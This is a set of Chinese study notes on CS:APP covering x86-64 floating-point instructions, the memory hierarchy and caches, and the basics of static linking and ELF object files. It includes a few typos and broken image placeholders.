GCC 只用标量传送操作从内存传送数据到 XMM 寄存器或从 XMM 寄存器传送数据到内存。对于在两个 XMM 寄存器之间传送数据,GCC 会使用两种指令之一,即用 vmpovaps 传送单精度数,用 vmovapd 传送双精度数。对于这些情况,程序复制整个寄存器还是只复制低位值。既不会影响程序功能,也不会影响执行速度,所以使用这些指令还是针对标量数据的人指令没有实质上的差别。指令名字中的字母 ‘a’ 表示 “aligned(对齐的)"。当用于读写内存是,如果地址不满足16字节对齐,它们会导致异常。在两个寄存器之间传送数据,绝不会出现错误对齐的状况。

浮点数和整数数据类型之间以及不同浮点格式之间进行转换的指令集合。

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913091445.png

把一个从 XMM 寄存器或内存中读出的浮点值进行转换,并将结果写入一个通用寄存器。把浮点值转换成整数时,指令会执行截断(truncation),把值向 0 进行舍入。

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913091717.png

3.11.2 过程中的浮点代码

x86-64 中,XMM 寄存器用来向函数传递浮点参数,以及从函数返回浮点值。具有以下规则:

  • XMM 寄存器 %xmm0~%xmm7 最多可以传递 8 个浮点参数。按照参数列出的顺序使用这些寄存器。可以通过栈传递额外的浮点参数。
  • 函数使用寄存器 %xmm0 来返回浮点值。
  • 所有的 XMM 寄存器都是调用者保存的。被调用者可以不同保存就覆盖这些寄存器中任意一个。

当函数包含指针、整数和浮点数混合的参数时,指针和整数通过通用寄存器传递,而浮点值通过 XMM 寄存器传递。也就是说,参数到寄存器的映射取决于它们的类型和排列的顺序。例如:

1 2 3 4 5 6// 这个函数会把 x 存放在 %edi 中,y 放在 %xmm0 中,z 放在 %rsi 中。 double f1(int x, double y, long z); // 这个函数的寄存器分配与函数 f1 相同。 double f2(double y, int x, long z); // 这个函数会将 x 放在 %xmm0 中,y 放在 %rdi 中,z 放在 %rsi 中。 double f1(float x, double *y, long *z);

3.11.3 浮点运算操作

下图描述了一组执行算术运算的标量 AVX2 浮点指令。每条指令有一个(S1S_1S1)或两个(S1,S2S_1, S_2S1,S2),和一个目的操作数 D。第一个源操作数 S1S_1S1 可以是一个 XMM 寄存器或一个内存位置。第二个源操作数和目的操作数都必须是 XMM 寄存器。每个操作多有一条针对当精度的指令和一条针对双精度的指令。结果存放在目的寄存器中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qiXOM1F-1645887943970)(https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913093055.png)]

3.11.4 定义和使用浮点常数

和整数运算操作不同,AVX 浮点操作不能以立即数值作为操作数。相反,编译器必须为所有的常量值分配和初始化存储空间。然后代码再把这些值从内存读入。

3.11.5 在浮点代码中使用位级操作

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913125840.png

3.11.6 浮点比较操作

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913125948.png

浮点比较指令会设置三个条件码: 零标志位 ZF, 进位标志位 CF 和奇偶标志位 PF。

第6章 存储器层次结构

概念:多个具有不同容量、成本和访问时间。的存储设备构成了存储器层次结构,称为存储器系统。

执行指令时访问数据所需的周期数:

CPU寄存器:0个周期
L1L3高速缓存:475个周期
主存:上百个周期
磁盘:几千万个周期

因为访问数据在各个存储器层次中的所需时间差异,促使使用者理解数据是如何在存储器层次结构中上下移动的,这样编写应用程序时,使得它们的数据项存储在层次结构较高的地方,CPU就能更快地访问。

6.1存储技术

几种基本的存储技术:

  1. 随机访问存储器(RAM),分为两类,SRAM比DRAM更快:
    1. SRAM:静态随机访问存储器,速度快,价格高。多用来作为高速缓存存储器。
    2. DRAM:动态随机访问存储器,速度慢,价格低。多用来作为主存和图形系统的帧缓冲器
  2. ROM,同时也是非易失性存储器。闪存属于 ROM,固态硬盘就是基于闪存开发而来。
  3. 机械硬盘
  4. 固态硬盘

6.1.1随机访问存储器

SRAM

SRAM 将每个位存储在一个双稳态的存储器单元内。每个单元由六个晶体管电路来实现的。

SRAM单元状态对于 SRAM,只要有双双稳态即该电路无限期地稳定保持在两个不同的电压状态。只要有电,就永远地保持它的值。即使有干扰,当干扰消除,电路也会恢复到稳定值。

DRAM

DRAM 将每个位存储为对一个电容的充电。每个 DRAM 单元由一个电容和一个访问晶体管组成。
DRAM 对干扰非常敏感。当电容的电压被扰乱后,就永远不会恢复了。

SRAM 与 DRAM 比较

只要有供电,SRAM就会保持不变,与DRAM不同,它不需要刷新。SRAM的存取比DRAM快。SRAM对诸如光和电噪声这样的干扰不敏感。代价是SRAM单元比DRAM单元使用更多的晶体管,因而密集度低,而且更贵,功耗更大。

DRAM和SRAM存储器的特性

传统的 DRAM

DRAM 芯片被分为 d 个超单元,每个超单元包含 w 个 DRAM 单元,w 一般为 8。当从 DRAM 中读取数据时,一次可以读取一个超单元的数据(可以近似的将超单元理解为一个字节)。

一个16X8的DRAM芯片的组织结构体如下:

16X8的DRAM芯片组织结构

DRAM 中的超单元按行列组织,DRAM 中还包含一个行缓冲区。
内存控制器依次将行地址和列地址发送给 DRAM,DRAM 将对应的超单元的内容发回给内存控制器以实现读取数据。
行地址和列地址共享相同的 DRAM 芯片地址引脚。
从 DRAM 中读取超单元的步骤:
内存控制器发来行地址 i,DRAM 将整个第 i 行复制到内部的行缓冲区。
内存控制器发来列地址 i,DRAM 从行缓冲区中复制出超单元 (i,j) 并发送给内存控制器。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KIHGmjrG-1645887943972)(https://s2.loli.net/2022/02/09/yfPeTwNYIHQ8SWn.png)]

电路设计者将DRAM组织成二维阵列而不是线性数组的一个原因是降低芯片上地址引脚的数量。例如,128位DRAM被组织成一个16个超单元的线性数组,地址为0-15,那么芯片会需要4个地址引脚而不是2个。二维阵列组织的缺点是必须分两步发送地址,这增加了访问时间。

内存模块

许多 DRAM 芯片封装在内存模块中,插到主板的扩展槽上。
常用的是双列直插内存模块 (DIMM),以 64 位为块与内存控制器交换数据。
比如,一个内存模块包含 8 个 DRAM 芯片,每个 DRAM 包含 8M 个超单元,每个超单元存储一个字节。使用 8 个 DRAM 芯片上相同地址处的超单元来表示一个 64 位字,DRAM 0 存储第一个字节,DRAM 1 存储第 2 个字节,依此类推。
要取出内存地址 A 处的一个字,内存控制器先将 A 转换为一个超单元地址 (i,j),然后内存模块将 i,j 广播到每个 DRAM。作为响应,每个 DRAM 输出它的 (i,j) 超单元的 8 位内容,合并成一个 64 位字,再返回给内存控制器。

读取一个内存模块的内容

主存由多个内存模块连接到内存控制器聚合成。

增强的 DRAM

有一些经过优化的 DRAM:

  1. 快页模式 DRAM (FPM DRAM):当连续访问位于同一行的超单元时,第二次以后,FPM DRAM 可以直接从行缓冲区获取数据。
  2. 扩展数据输出 DRAM (EDO DRAM):FPM DRAM 的一个增强的形式,更快一些。
  3. 同步 DRAM (SDRAM):常规的、FPM 和 EDO 都是异步的。从效果而言,SDRAM 可以比异步存储器更快地输出它的超单元的内容。
  4. 双倍数据速率同步 DRAM(DDR SDRAM):对 SDRAM 的一种增强,使速度翻倍。不同的 DDR SDRAM 以提高有效带宽的很小的预留缓冲区的大小来划分:DDR(2位)、DDR2(4位)、DDR3(8位)。位越多速度越快,近乎翻倍。
  5. 视频 RAM (VRAM):用在图形系统的帧缓冲区中,其思想与 FPM DRAM 类似。VRAM 允许对内存进行并行地读和写。因此系统可以在写下一次更新的新值时(写),用帧缓冲区的像素刷屏幕(读)。

现在计算机使用的大多数都是 DDR3 SDRAM。

非易失性存储器

DRAM 和 SRAM 会在断电后丢失信息,因此是易失性存储器。ROM 是非易失性存储器,在断电后仍保存着信息。
ROM 是只读存储器,但是实际上有些 ROM 既可以读也可以写。

几种常见的非易失性存储器:

  1. 可编程 ROM (PROM):只能被编程一次。
  2. 可擦写可编程 ROM (EPROM):可以被擦除和重编程上千次。
  3. 电子可擦除 PROM (EEPROM):类似于 EPROM,但是可以被重编程十万次。
  4. 闪存:基于 EEPROM 的一种存储技术。闪存无处不在,固态硬盘就是一种基于闪存的磁盘驱动器。

存储在 ROM 设备中的程序通常称为固件,当计算机系统通电后,会运行存储在 ROM 中的固件。

访问主存

数据流通过总线在处理器与主存间来往,每次处理器和主存间的数据传送的一系列步骤称为总线事务。

总线是一组并行的导线,能携带地址、数据和控制信号。

系统总线连接 CPU 和 IO 桥接器,内存总线连接 IO 桥接器和主存。IO 桥同时也连接着 I/O 总线。

连接CPU和主存的结构

读事务的三个步骤:

  1. CPU 将地址 A 放到内存总线上。
  2. 主存从总线读出 A,取出字 x,然后将 x 放到总线上。
  3. CPU 从总线读出字 x,并将它复制到相应寄存器中。

写事务的三个步骤:

  1. CPU 将地址 A 放到内存总线。主存读出这个地址,并等待数据字。
  2. CPU 将数据字 y 放到总线上。
  3. 主存从总线读数据字 y,并将它存储在地址 A。

6.1磁盘存储

磁盘构造

磁盘由盘片组成,每个盘片有两个表面,表面上覆盖着磁性记录材料。一个磁盘包含一个或多个盘片。
盘片以固定速率旋转,通常为 5400~15000,单位是转每分钟 (RPM)。
每个表面由多个同心圆(称为磁道)组成,每个磁道被划分为一组扇区,每个扇区包含相同的数据位(一般为512字节)。
扇区之间由间隙分隔开,间隙中不存储数据位,而存储用来标识扇区的格式化位。
名词柱面用来表示距离主轴相等的磁道的集合。比如一个磁盘有 3 个盘片,那么每个柱面就有 6 个磁道。

磁盘构造

磁盘容量

决定磁盘容量的因素:

  • 记录密度:磁道一英寸的段中可以放入的位数。
  • 磁道密度:从盘片中心出发半径上一英寸的段内可以有的磁道数。
  • 面密度:记录密度与磁道密度的乘积。

磁盘容量公式:

磁盘容量

DRAM 和 SRAM 相关的单位中 K = 2^10,磁盘、网络、速率、吞吐量相关的单位中 K=10^3。
注:磁盘格式化会填写间隙、标识出有故障的柱面、在每个区中预留出一组柱面作为备用。所以格式化容量要比最大容量小。

磁盘操作

磁盘用读写头来读写存储在磁性表面的位。每个表面都有一个读写头,任何时候所有的读写头都位于同一个柱面上。
读写头位于传动壁的末端,读写头的速度约为 80km/h,距磁盘表面约 1um,因此磁盘是很脆弱的,开机时不要挪动主机更不要拍主机。
磁盘读写数据时以扇区为单位,即一次读写一个扇区大小的块。
对扇区的访问时间包括三部分:

  • 寻道时间:为了读取目标扇区的内容,传动臂首先要将读写头定位到包含目标扇区的磁道上。
    • 现代驱动器的平均寻道时间为 3~9 ms,最大为 20 ms。
  • 旋转时间:读写头定位到期望的磁道后,要等待目标扇区的第一个位旋转到读写头下。
    • 旋转时间依赖于磁盘的旋转速度和读写头到达目标磁道时的位置。
    • 最大旋转时间是旋转速度的倒数,平均旋转时间是最大旋转时间的一半。
  • 传送时间:平均传送时间是读写头读写完整个扇区的时间。
    • 传送时间依赖于磁盘的旋转速度和每条磁道的扇区数目。

旋转时间一般和寻道时间差不多,而传送时间相对可以忽略不计,因此从磁盘读取一个扇区的时间约为 10 ms。

逻辑磁盘块

现代磁盘呈现为一个逻辑块的序列,每个逻辑块大小为一个扇区,即 512 字节。
当操作系统读写磁盘时,发送一个逻辑块号到磁盘控制器,控制器上的固件将逻辑块号翻译为一个(盘面、磁道、扇区)的三元组。
12

连接 I/O 设备

系统总线与内存总线都是与 CPU 相关的,而 IO 总线与 CPU 无关。Intel 的外部设备互连总线(PCI)就是一种 IO 总线。
IO 总线速度相比于系统总线和内存总线慢,但是可以容纳种类繁多的第三方 IO 设备。

连接到 IO 总线的三种设备:

  • 通用串行总线(USB):USB 总线是一个广泛使用的标准,连接各种 IO 设备,包括键盘、鼠标等。
  • 显卡/显示适配器:负责代表 CPU 在显示器上画像素。
  • 主机总线适配器:连接磁盘。常总的磁盘接口是 SCSI 和 SATA。其中 SCSI 比 SATA 更快也更贵。

总线结构

6、访问磁盘
CPU 使用内存映射 IO 技术来向 IO 设备发射命令。在使用内存映射 IO 的系统中,地址空间中有一块地址是专为与 IO 设备通信保留的,每个这样的地址称为一个 IO 端口。当一个设备连接到总线时,它与一个或多个端口相关联。

假设磁盘控制器映射到端口 0xa0,读一个磁盘扇区的步骤如下:
CPU 依次发送命令字、逻辑块号、目的内存地址到 0xa0,发起一个磁盘读。因为磁盘读的时间很长,所以此后 CPU 会转去执行其他工作。
磁盘收到读命令后,将逻辑块号翻译成一个扇区地址,读取该扇区的内容,并将内容直接传送到主存,不需要经过 CPU (这称为直接内存访问(DMA))。
DMA 传送完成后,即磁盘扇区的内容安全地存储在主存中后,磁盘控制器给 CPU 发送一个中断信号来通知 CPU。

CPU从磁盘读取数据:

CPU从磁盘读取数据

6.1.3固态硬盘

固态硬盘 (Solid State Disk,SSD) 是一种基于闪存的存储技术。
一个固态硬盘中封装了一个闪存翻译层和多个闪存芯片。闪存翻译层是一个硬件/固件设备,功能类似磁盘控制器,将对逻辑块的请求翻译成对底层物理设备的访问。

固态硬盘

一个闪存由 B 个块的序列组成,每个块由 P 页组成,页的大小为 512byte~4kb。数据以页为单位进行读写。
对于 SSD 来说,读比写快。因为只有在一页所属的块整个被擦除后,才能写这一页。重复写十万次后,块就会磨损,因此固态硬盘寿命较低。
随机写 SSD 很慢的两个原因:

  • 擦除块需要相对较长的时间。
  • 如果写操作试图修改一个已经有数据的页,那么这个块中所有带有用数据的页都必须复制到一个新的块,然后才能向该页写数据。

SSD 相比于旋转磁盘的优点:由半导体存储器构成,没有移动部件,所以更结实,随机访问也更快,能耗更低。
缺点:更容易磨损,不过现在的 SSD 已经可以用很多年了。

6.1.4存储技术趋势

性能上:SRAM > DRAM > SSD > 旋转磁盘
发展速度上:增加密度(降低成本) > 降低访问时间
DRAM 和 磁盘的性能滞后于 CPU 的性能提升速度,两者之间的差距越来越大。

6.2局部性

局部性是程序的一个基本属性。具有良好局部性的程序倾向于重复地访问相同的数据 (时间局部性),或倾向于访问邻近的数据 (空间局部性),因此运行更快。

局部性有两种形式:时间局部性和空间局部性

程序员应该理解局部性原理,因为一般而言,有良好局部性的程序比局部性差的程序运行得更快。现代计算机系统的各个层次,从硬件到操作系统,到应用程序,它们的设计都利用了局部性。

  • 在硬件层,局部性原理允许计算机设计者通过引入成为高速缓存存储器的小而快速的存储器来保存最近被引用的指令和数据项,从而提高对主存的访问速度。
  • 在操作系统级,局部性原理允许系统使用主存作为虚拟地址空间最近被引用的高速缓存。类似地,操作系统用主存来缓存磁盘文件系统中最近被使用的磁盘块。
  • 在应用程序,例如,Web浏览器将最近被引用的文档放在本地磁盘上,利用的就是时间局部性。大量的Web服务器将最近被请求的文档放在前端磁盘高速缓存中,这些缓存能满足对这些文档的请求,而不需要服务器的任何干涉

6.2.1对程序数据引用的局部性

int sumvec(int v[N])
{
  int i = 0, sum = 0;
  for(i=0; i<N; i++)
  {
     sum += v[i];      
   }        
   return sum;
}
123456789

上例中,sum 具有好的时间局部性,向量 v 具有好的空间局部性。
这里对向量 v 中元素的访问是顺序访问的,称为步长为 1 的引用模式。在空间局部性上,步长为 1 的引用模式是最好的。

6.2.2取指令的局部性

程序指令存放在内存中,CPU 需要读这些指令,因此取指令也有局部性。比如 for 循环中的指令具有好的时间局部性和空间局部性。

6.2.3局部性小结

  • 重复引用相同变量的程序有好的时间局部性。
  • 对于步长为 k 的引用模式的程序,k 越小,空间局部性越好。
  • 对于取指令来说,循环有好的时间和空间局部性。循环体越小,循环迭代次数越多,局部性越好。

6.3存储器层次结构

存储技术:不同存储技术的访问时间差异很大。速度较快的技术每字节的成本要比速度较慢的技术高,而且容量较小。CPU和主存之间的速度差距在增大。

计算机软件:一个编写良好的程序更倾向于展示良好的局部性。

典型的存储器层次结构:

存储器层次结构

6.3.1存储器层次结构中的缓存

存储器层次结构的核心思想:第 k 层作为第 k+1 层存储设备的缓存。

缓存的具体实现:第 k+1 层的存储器被划分为连续的块,每个块有唯一的地址或名字。第 k 层的存储器被划分为较少的块的集合,每个块的大小与 k+1 层的块大小一样。数据以块为传输单元在不同层之间复制。

层次结构中更低的层,因为访问时间更长,为了补偿访问时间,使用的块更大。

缓存命中

当需要 k+1 层的某个数据对象 d 时,如果 d 恰好缓存在 k 层中,就称为缓存命中。

缓存不命中
缓存不命中时,第 k 层的缓存从 第 k+1 层缓存中取出包含 d 的块。
如果第 k 层缓存已经满了,需要根据替换策略选择一个块进行覆盖 (替换),未满的话需要根据放置策略来选择一个块放置。

缓存不命中的种类

  • 冷不命中:一个空的缓存称为冷缓存,冷缓存必然不命中,称为冷不命中。
  • 冲突不命中:常用的放置策略是将 k+1 层的某个块限制放置在 k 层块的一个小的子集中。比如 k+1 层的块 1,5,9,13 映射到 k 层的块 0。这会带来冲突不命中。
  • 容量不命中:当访问的工作集的大小超过缓存的大小时,会发生容量不命中。即缓存太小了,不能缓存整个工作集。

缓存管理

寄存器文件的缓存由编译器管理,L1,L2,L3 的缓存由内置在缓存中的硬件逻辑管理,DRAM 主存作为缓存由操作系统和 CPU 上的地址翻译硬件共同管理。

6.4高速缓存存储器

L1 高速缓存的访问速度约为 4 个时钟周期,L2 约 10 个周期,L3 约 50 个周期。

当 CPU 执行一条读内存字 w 的指令,它首先向 L1 高速缓存请求这个字,如果 L1 没有就向 L2,依此而下。

6.4.1通用的高速缓存存储器组织结构

假设一个计算机系统中的存储器地址有 m 位,形成 M =2^m 个不同的地址。m 个地址为划分为 t 个标记位,s 个组索引位,b 个块偏移位。

高速缓存被组织成 S=2^s 个高速缓存组,每个组包含 E 个高速缓存行,每个行为一个数据块,包含一个有效位,t=m-(b+s) 个标记位,和 B=2^b 字节的数据块。高速缓存的容量 = S * E * B。高速缓存可以通过简单地检查地址位来找到所请求的字。

高速缓存的通用组织

当 CPU 要从地址 A(由m个地址位组成) 处读一个字时:

  • A 中的 s 个组索引位告诉我们在哪个组中
  • A 中的 t 个标记位告诉我们在这个组中的哪一行:当且仅当这一行设置了有效位并且标记位与 A 中的标记位匹配时,才说明这一行包含这个字。
  • A 中的 b 个块偏移位告诉我们在 B 个字节的数据块中的字偏移。

高速缓存参数标识:

高速缓存参数标识

6.4.2直接映射高速缓存

根据每个组的高速缓存行数E,高速缓存有以下几类:

  • 直接映射高速缓存:每个组只有一行,即 E=1。
  • 组相联高速缓存:每个组有多行,1<E<C/B。
  • 全相联高速缓存:只有一个组,E=C/B。

假设一个系统中只有 CPU、L1 高速缓存和主存。当 CPU 执行一条从内存读字 w 的指令,如果 L1 有 w 的副本,就得到 L1 高速缓存命中;如果 L1 没有,就是缓存不命中。当缓存不命中,L1 会向主存请求包含 w 的块(L1 中的块就是它的高速缓存行)的一个副本。当块从内存到达 L1,L1 将这个块存在它的一个高速缓存行里,然后从中抽取出字 w,并返回给 CPU。

高速缓存确定一个请求是否命中,然后抽取出被请求的字的过程分为三步:

  1. 组选择
  2. 行匹配
  3. 字抽取

6.4.2 直接映射高速缓存
1、直接映射高速缓存中的组选择

1、直接映射高速缓存中的组选择

直接映射高速缓存中的组选择

从 w 的 m 位地址中抽取出 s 个组索引位,并据此选择相应的高速缓存组。

2、直接映射高速缓存中的行匹配

直接映射高速缓存中的行匹配和字选择

因为直接映射高速缓存每个组只有一行,只要这一行设置了有效位且标记位相匹配,就说明想要的字的副本确实存储在这一行中。

3、直接映射高速缓存中的字抽取

从 w 的地址中抽取出 b 个块偏移位,块偏移位提供了所需的字的第一个字节的偏移。

4、直接映射高速缓存不命中时的行替换

缓存不命中时需要从下一层取出被请求的块,然后将其存储在组索引位指示的组中的高速缓存行中。

因为直接映射高速缓存每个组只有一行,所以替换策略很简单:用新取出的行替换当前行。

5、运行中的直接映射高速缓存

标记位和索引位连接起来标识了整个内存中的所有块,而高速缓存中的高速缓存组(块)是少于内存中的块数的。因此位于不同标记位,相同组索引位的块会映射到高速缓存中的同一个高速缓存组。

在一个高速缓存组中存储了哪个块,可以由标记位唯一地标识。

理解:对于主存中的整个地址空间,根据标记位不同将其分为了若干个部分,每个部分可以单独且完整地映射到高速缓存中,且刚好占满整个直接映射高速缓存。

6、直接映射高速缓存中的冲突不命中

冲突不命中在直接映射高速缓存中很常见。因为每个组只有一行,不同标记位的块会映射到同一行,发生冲突不命中。

为什么用中间的位来做索引?

为什么用中间的位来做索引

如果用高位做索引,那么一些连续的内存块就会被映射到相同的高速缓存块。顺序访问数组元素时,任意时刻,高速缓存都只能保存一个块大小的数据内容。相比较而言,以中间位作为索引,相邻的块总是映射到不同的高速缓存行。

6.4.3组相联高速缓存

1、组相联高速缓存中的组选择

与直接映射高速缓存一样,组索引位标识组。

2、组相联高速缓存中的行匹配

组相联高速缓存中的行匹配更复杂,因为要检查多个行的标记位和有效位,以确定其中是否有所请求的字。

注意:组中的任意一行都可能包含映射到这个组的内存块,因此必须搜索组中的每一行,寻找一个有效且标记位相匹配的行。

3、组相联高速缓存中的字抽取

与直接映射高速缓存一样,块偏移位标识所请求的字的第一个字节。

4、组相联高速缓存中不命中时的行替换

几种替换策略

  1. **随机替换策略:**随机选择要替换的行
  2. **最不常使用策略:**替换在过去某个时间窗口内引用次数最少的一行。
  3. **最近最少使用策略:**替换最后一次访问时间最久远的那一行。

因为存储器层次结构中越靠下,不命中开销越大,好的替换策略越重要。

6.4.4全相联高速缓存

全相联高速缓存由一个包含所有高速缓存行 (E=C/B) 的组组成

因为高速缓存电路必须并行地搜索不同组已找到相匹配的标记,所以全相联高速缓存只适合做小的高速缓存。

DRAM 主存采用了全相联高速缓存,但是因为它采用了虚拟内存系统,所以在进行类似行匹配的页查找时不需要对一个个页进行遍历。

1、全相联高速缓存中的组选择

全相联高速缓存中只有一个组,所以地址中没有组索引位,只有标记位和块偏移位。

2、全相联高速缓存中的行匹配和字抽取

与组相联高速缓存一样。与组相联高速缓存的区别在于规模大小

6.4.5有关写的问题

写相比读要复杂一些。

写命中(写一个已经缓存了的字 w)的情况下,高速缓存更新了本层的 w 的副本后,如何处理低一层的副本有两种方法:

  1. 直写:立即将 w 的高速缓存块写回到低一层中。
    1. 优点:简单
    2. 缺点:每次写都会占据总线流量
  2. 写回:尽可能地推迟更新,只有当替换算法要驱逐这个更新过的块时,才把它写到低一层中。
    1. 优点:利用了局部性,可以显著地减少总线流量。
    2. 缺点:增加了复杂性。必须为每个高速缓存行维护一个额外的修改位,表明此行是否被修改过。

写不命中情况下的两种方法:

  1. 写分配:加载相应的低一层的块到本层中,然后更新这个高速缓存块。
    1. 优点:利用写的空间局部性
    2. 缺点:每次不命中都会导致一个块从低一层传送到高速缓存
  2. 非写分配:避开高速缓存,直接把这个字写到低一层中

直写一般与非写分配搭配,两者都更适用于存储器层次结构中的较高层。

写回一般与写分配搭配,两者都更适用于存储器层次结构中的较低层,因为较低层的传送时间太长。

因为硬件上复杂电路的实现越来越容易,所以现在使用写回和写分配越来越多。

6.4.6一个真实的高速缓存层次结构的解剖

三种高速缓存:

  • i-cache:只保存指令的高速缓存。i-cache 通常是只读的,因此比较简单。
  • d-cache:只保存程序数据的高速缓存。
  • 统一的高速缓存:既保存指令又保存程序数据。

现代处理器一般包括独立的 i-cache 和 d-cache,其中两个原因如下:

  • 使用两个独立的高速缓存,CPU 可以同时读一个指令字和一个数据字。
  • 可以确保数据访问不会与指令访问形成冲突不命中(不过可能会使容量不命中增加)。

Core i7 的高速缓存层次结构及其特性:

IntelCorei7的高速缓存层次结构

Core i7 高速缓存层次结构的特性:

IntelCorei7的高速缓存层次结构特性

可以看到 Core i7 中的高速缓存采用的都是组相联高速缓存

6.4.7高速缓存参数的性能影响

高速缓存的性能指标

  1. **命中率:**命中的内存引用比率。
  2. 命中时间:从高速缓存传送一个字到 CPU 的时间,包括组选择、行确认和字抽取的实践。
  3. **不命中处罚:**不命中产生的额外时间消耗。

几个影响因素

  1. 高速缓存大小:较大的高速缓存可以提高命中率,但是会运行得更慢,即增加命中时间。
  2. 块大小:较大的块更能利用空间局部性以提高命中率。但是对于给定的总容量,块越大高速缓存行就越少,不利用利用时间局部性。较大的块因为传送时间更长,所以也会增加不命中处罚。现代处理系统的高速缓存块一般为 64 字节。
  3. 相联度。
  4. 写策略。

第7章 链接

概念

链接( linking)是将各种代码和数据片段收集并组合成为一个单一文件的过程,这个文件可被加载(复制)到内存并执行。

链接在以下三个阶段都可以执行:

  1. 编译时,即在源代码被翻译成机器代码时
  2. 加载时,即程序被加载器加载到内存并执行时
  3. 运行时,即由应用程序来执行

现代系统中,链接是由 链接器 自动执行的。链接器使 分离编译 成为可能,而分离编译正是大型项目所必不可缺的。

为什么需要了解链接器

  • 理解链接器将帮助你构造大型程序。构造大型程序的程序员经常会遇到由于缺少模块、缺少库或者不兼容的库版本引起的链接器错误。除非你理解链接器是如何解析引用、什么是库以及链接器是如何使用库来解析引用的,否则这类错误将令你感到迷惑和挫败。
  • 理解链接器将帮助你避免一些危险的编程错误。Linux链接器解析符号引用时所做的决定可以不动声色地影响你程序的正确性。在默认情况下,错误地定义多个全局变量的程序将通过链接器,而不产生任何警告信息。由此得到的程序会产生令人迷惑的运行时行为,而且非常难以调试。我们将向你展示这是如何发生的,以及该如何避免它。
  • 理解链接将帮助你理解语言的作用域规则是如何实现的。例如,全局和局部变量之间的区别是什么?当你定义一个具有 static属性的变量或者函数时,实际到底意味着什么。
  • 理解链接将帮助你理解其他重要的系统概念。链接器产生的可执行目标文件在重要的系统功能中扮演着关键角色,比如加载和运行程序、虚拟内存、分页、内存映射。
  • 理解链接将使你能够利用共享库。多年以来,链接都被认为是相当简单和无趣的然而,随着共享库和动态链接在现代操作系统中重要性的日益加强,链接成为一个复杂的过程,为掌握它的程序员提供了强大的能力。比如,许多软件产品在运行时使用共享库来升级压缩包装的( shrink- wrapped)二进制程序。还有,大多数Web服务器都依赖于共享库的动态链接来提供动态内容。

后续讨论基于这样的环境:一个运行Linux的X86-64系统,使用标准的 ELF-64 (简称ELF)目标文件格式。

ELF (Executable and Linkable Format)是一种为可执行文件,目标文件,共享链接库和内核转储(core dumps)准备的标准文件格式。 Linux和很多类Unix操作系统都使用这个格式。
1

7.1编译器驱动程序

编译器驱动程序可以使用户根据需要调用语言预处理器编译器汇编器链接器

编译器驱动程序_源程序

使用GNU编译系统构建上述的示例程序:

linux> gcc -Og -o prog main.c sum.c
1

具体执行内容为:

  1. 编译器驱动程序首先运行C预处理器(cpp)将C的源程序main.c翻译成ASCII码的中间文件main.i (cpp [other arguments] main.c /tmp/main.i)
  2. 然后运行C编译器(cc1),将main.i翻译成一个ASCII汇编语言文件main.s (cc1 /tmp/main.i -Og [other arguments] -o /tmp/main.s)
  3. 接着运行汇编器(as),将main.s翻译成一个可重定位目标文件(relocatable object file)main.o (cs [other arguments] -o /tmp/main.o /tmp/main.s)
  4. sum.c经过同样的过程生成sum.o
  5. 最后运行链接器程序ld,将main.o和sum.o以及一些必要的系统目标文件组合起来,创建一个可执行的目标文件prog (ld -o prog [system object files and args ] /tmp/main.o /tmp/sum.o)

要运行可执行文件prog,直接在Linux shell命令行输入它的名称即可

linux>  ./prog
1

shell调用操作系统中一个叫做 加载器(loader)的函数,它可以将可执行文件prog中的代码和数据复制到内存,然后将控制转移到这个程序的开头

7.2静态链接

像 Linux LD程序这样的静态链接器 以一组可重定位目标文件和命令行参数作为输入,生成一个完全链接的、可以加载和运行的可执行目标文件作为输出

  • 输入的可重定位目标文件由 各种不同的代码和数据节(section) 组成 ,每一节都是一个连续的字节序列。指令在一节中,初始化了的全局变量在另一节中,而未初始化的变量又在另外节中。

为了构造可执行文件,链接器必须完成两个主要任务:

  • 符号解析( symbol resolution)

  • 符号定义:目标文件定义和引用符号,每个符号对应于一个函数、一个全局变量或一个静态变量。

  • 符号解析的目的:将每个符号引用正好和一个符号定义关联起来。

  • 重定位( relocation)

  • 由编译器和汇编器生成的可重定位目标文件中的代码和数据节是从 0 开始的。可重定位目标文件中还包含重定位条目。
  • 如何实现重定位:链接器通过把每个符号定义与一个内存位置关联起来,从而重定位这些节,然后修改所有对这些符号的引用,使得它们指向这个内存位置。

7.3目标文件

  • 共享目标文件:由编译器和汇编器生成可重定位目标文件
  • 可执行目标文件:由链接器生成
  • 目标模块:一个字节序列
  • 目标文件:一个以文件形式存放在磁盘的目标模块

一个目标文件又称目标模块。目标文件纯粹是字节块的集合。目标文件本身是一个字节序列。这些字节块中有些包含程序代码程序数据,其他的则包含引导链接器和加载器的数据结构链接器把这些块连接起来,确定被连接块的运行时位置,并修改代码和数据块中的各种位置。

目标文件有三种形式:

  1. 可重定位目标文件:包含二进制的代码数据。可以与其他可重定位目标文件合并成可执行目标文件。又称 obj 文件,gcc 经过预处理、编译、汇编后生成的 .o 文件即为可重定位目标文件。
  2. **可执行目标文件:**包含二进制的代码和数据。可以被直接复制到内存并执行。简称可执行文件,gcc 经过链接后生成的 .out 文件以及无后缀名文件都是可执行文件。
  3. 共享目标文件:一种特殊类型的可重定位目标文件,即动态链接库。可以在加载或者运行时被动态地加载进内存并链接。

7.4可重定位目标文件

可重定位目标文件由多个不同的节组成,每一节都是一个连续的字节序列。指令、初始化了的全局变量、未初始化的的变量分别位于不同的节。

ELF可重定位目标文件的格式如下:

ELF可重定位目标文件的格式

一个 ELF 可重定位文件中包含以下节(按位置顺序排列):

  1. ELF 头:特殊的节,包含文件的一些基本属性信息,用来解释目标文件帮助链接器进行语法分析
    • 包含内容:生成该文件的系统的字的大小和字节顺序,ELF 头的大小,目标文件的类型,机器类型(如 x86-64),节头部表的文件偏移,节头部表中条目的大小和数量。
  2. **.text:**已编译程序的机器代码。即存放的是指令代码。
  3. **.rodata:**只读数据。
  4. **.data:**已初始化的全局和静态变量。
  5. **.bbs:**未初始化的全局和静态变量,以及所有被初始化为 0 的全局或静态变量。(Block Storage Start)
    • 注意:.bss 节在目标文件中仅是一个占位符,不占据实际空间。这两类变量都是运行时在内存中为其分配变量,并初始化为 0
  6. .symtab:*一个*符号表:存放了在程序中定义引用符号 (即函数和全局变量)** 的信息。
